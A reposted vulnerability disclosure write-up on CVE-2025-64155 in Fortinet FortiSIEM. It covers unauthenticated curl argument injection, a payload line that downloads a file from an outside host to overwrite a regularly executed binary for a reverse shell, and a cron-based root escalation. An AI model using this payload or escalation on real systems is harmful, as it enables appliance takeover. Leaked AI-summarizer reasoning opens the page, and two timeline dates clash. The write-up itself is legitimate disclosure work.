CVE-2025-64155: Three Years of Remotely Rooting the Fortinet FortiSIEM
嗯,用户让我总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我需要快速浏览文章,抓住主要点。 文章讲的是FortiSIEM设备的漏洞,CVE-2025-64155。里面提到发现了两个漏洞:一个是未认证的注入漏洞,导致任意文件写入和远程代码执行;另一个是文件覆盖导致提权到root。还有提到之前的历史漏洞和攻击者讨论的情况。 时间线部分显示从2025年8月报告到2026年1月修复。所以总结的时候要涵盖漏洞类型、影响、历史背景和修复时间。 现在要控制在100字以内,所以需要简洁明了。确保包含关键点:FortiSIEM、CVE编号、漏洞类型、攻击结果、历史和修复时间。 最后检查一下是否符合要求,没有使用“文章内容总结”之类的开头,直接描述内容。 </think> FortiSIEM设备被发现存在严重漏洞(CVE-2025-64155),包括未认证的命令注入和文件覆盖问题,可导致远程代码执行及提权至root。研究人员通过分析phMonitor服务发现这些漏洞,并展示了利用过程。尽管此前已报告多个类似问题,但新漏洞仍被攻击者关注。修复工作耗时较长,最终于2026年1月完成。 2026-1-13 18:2:56 Author: horizon3.ai(查看原文) 阅读量:2 收藏

In August of 2025, Fortinet released an advisory for CVE-2025-25256, a command injection vulnerability which affected the FortiSIEM appliance. After the August advisory, we decided to dive in and assess the situation, ultimately leading to the discovery of:

  • An unauthenticated argument injection vulnerability resulting in arbitrary file write allowing for remote code execution as the admin user
  • A file overwrite privilege escalation vulnerability leading to root access

These vulnerabilities were reported and assigned CVE-2025-64155. Our proof of concept exploit can be found on our GitHub.

FortiSIEM History

We’re no strangers to the FortiSIEM, as we’ve performed vulnerability research into it over the last few years and have reported several security issues:

While the vulnerabilities have never landed on CISA Known Exploited Vulnerability catalog, earlier in 2025 the Black Basta ransomware group’s chat logs were leaked showing that the FortiSIEM vulnerabilities were discussed.

FortiSIEM Overview

Figure 1. Example FortiSIEM Deployment

The FortiSIEM has many different services that can be deployed and in several different network architectures:

  • All-In-One Server: Contains all roles and services on a single server
  • Supervisor <-> Collector Deployment: Supervisor aggregates data collected from all the remote Collectors

In general, all these deployments include the phMonitor service which is how the different roles communicate and share data via custom messages over TCP/IP. This service is also the entry point for all of the previously discovered vulnerabilities these last few years.

A deeper look at the architecture can be read in our previous vulnerability writeup for CVE-2023-34992.

Diving Back into the phMonitor Service

The phMonitor service marshals incoming requests to their appropriate function handlers based on the type of command sent in the API request. Each handler processes the sent payload data in their own ways, some expecting formatted strings, some expecting XML.

Figure 2. phMonitor initEventHandler function

Inside phMonitor, at the function phMonitorProcess::initEventHandler, every command handler is mapped to an integer, which is passed in the command message. Security Issue #1 is that all of these handlers are exposed and available for any remote client to invoke without any authentication. There are several dozen handlers exposed in initEventHandler. In prior years, this function exposed much of the administrative functionality of the appliance ranging from getting and setting Collector passwords, getting and setting service passwords, initiating reverse SSH tunnels with remote collectors, and much more. Now, it exposes a good amount less of that attack surface.

Figure 3. Example operations exposed prior to hardening

The previously reported vulnerabilities abused handleStorageRequest with a storage type parameter of NFS, this time we inspected the flow with the storage type of elastic. When the storage request is of type elastic it parses different tags from the XML payload such as client_type, cluster_name, cluster_ip, http_port, etc.. 

Figure 4. Parsing elastic variables from XML message payload

When the combination of variables is right, control is passed to eventually construct a call to the elastic_test_url.sh script with the parsed variables which are user controlled.

Figure 5. handleStorageRequest formatting user controlled data

The previous iterations of vulnerabilities reported have dealt with direct command injection, and second order command injection, which has led to further hardening of system utilities and most callable scripts now using subprocess.run() instead of os.system().

Figure 6. handleStorageRequest calling a more secure system() wrapper on user controlled data

The wrapper escapes user-controlled inputs at this layer by adding the wrapShellToken utility – essentially wrapping all arguments to scripts in single quotes to prevent direct command injection. The specific command to be executed for a handleStorageRequest with a storage type of elastic will be:


/opt/phoenix/phscripts/bin/elastic_test_url.sh '<cluster_name>' '<cluster_url>'

With these protections in mind, we dive deeper into the elastic_test_url.sh script. We see if there are two arguments supplied, it constructs a call to curl and appends our user controlled <cluster_url> to the end and then calls the test_health function.

Figure 7. elastic_test_url.sh entry point

The test_health function takes the fully constructed curl command and executes it via OUTPUT=”$($1)” on line 22.

Figure 8. test_health function

At first glance this looks vulnerable in itself, but tracing execution we see that curl is passed to execve.

Figure 9. Strace shows execve to curl

Despite being limited to an execution context of just curl, curl allows powerful actions such as saving files to arbitrary locations. Injecting curl arguments into the attacker controlled string may allow us the ability to write a file somewhere to gain code execution.

Testing this theory by injecting the output flag (-o) into the string “-o /tmp/pwned http://10.0.40.83:9200” we see that it properly parses our flag as a valid flag and we’ve achieve argument injection to curl. 

Figure 10. execve interpreting input and proving argument injection

Unfortunately, somewhere along the way – this script broke due to all the quoting protections added and if you inspect the first few arguments in the execve output you can see that it interprets the Content-Type header wrong “ -H’Content-Type: ” and “ application/json’ ”. This error is enough for curl to ignore our injected arguments that follow in this request, and instead tries to interpret it as a URL to resolve.

Figure 11. curl request ignore chained argument on error

But, there is also another obscure feature and flag available for curl. The --next flag. The next flag allows you to chain multiple curl requests within the context of a single execution of curl.

Figure 12. curl man page showing next

By carefully formatting the string we control to use the next flag, which is an expected flag after the first host argument, we can properly inject the output flag on the pipelined request. Since we control the entire curl context now we can write arbitrary content to arbitrary locations in the context of the admin user.

<cluster_url>http://10.0.40.83:9200 --next -o /opt/phoenix/bin/phLicenseTool http://10.0.40.83:9200</cluster_url>


We use the output to write a bash reverse shell to the existing file /opt/phoenix/bin/phLicenseTool which is executed every few seconds on the FortiSIEM server and shortly receive a reverse shell.

Figure 13. Reverse shell via argument injection

To escalate to root and fully compromise the appliance, we need to find a privilege escalation. Starting with the simple vectors we look at the regularly executed scripts in the cronjobs. We find that the root crontab at /etc/cron.d/fsm-crontab executes only root owned scripts and binaries, but those scripts and binaries call many non-root owned scripts down the line.

Figure 14.  fsm-crontab entries

One such binary that is writable by admin, but executed by root, is /opt/charting/redishb.sh. This file is executed once every minute by the appliance. Writing a reverse shell to this file will allow escalating from admin to root – fully compromising the FortiSIEM.

Figure 15. root shell from crontab job

Indicators of Compromise

The logs in /opt/phoenix/log/phoenix.logs verbosely log the contents of messages received for the phMonitor service. Below is an example log when exploiting the system:

Figure 16. Example logs showing malicious abuse of elastic_test_url.sh

The log line will contain PHL_ERROR and then log the exact line which includes the web URL from which a payload is downloaded and which specific file the payload is written to on the system.

Timeline

14 August 2025 – Reported vulnerabilities to Fortinet PSIRT

14 August 2025 – Confirmed receipt by Fortinet PSIRT

16 September 2025 – Fortinet reproduces findings

5 November 2025 – We inquire on timelines as 90 days is approaching

5 November 2025 – Fortinet PSIRT responds detailing 4 of 5 main branches of FortiSIEM are patched but 1 branch has not yet received the patch, and will miss a typical 90-day disclosure timeline

5 January 2025 – We inquire again on timelines as it has now been 144 days

5 January 2025 – Fortinet PSIRT responds that they hope to fix last branch and publish CVE by January patch cycle

13 January 2026 – Fortinet PSIRT advisory released

13 January 2026 – This blog post after 151 days since initial reporting


文章来源: https://horizon3.ai/attack-research/disclosures/cve-2025-64155-three-years-of-remotely-rooting-the-fortinet-fortisiem/
如有侵权请联系:admin#unsafe.sh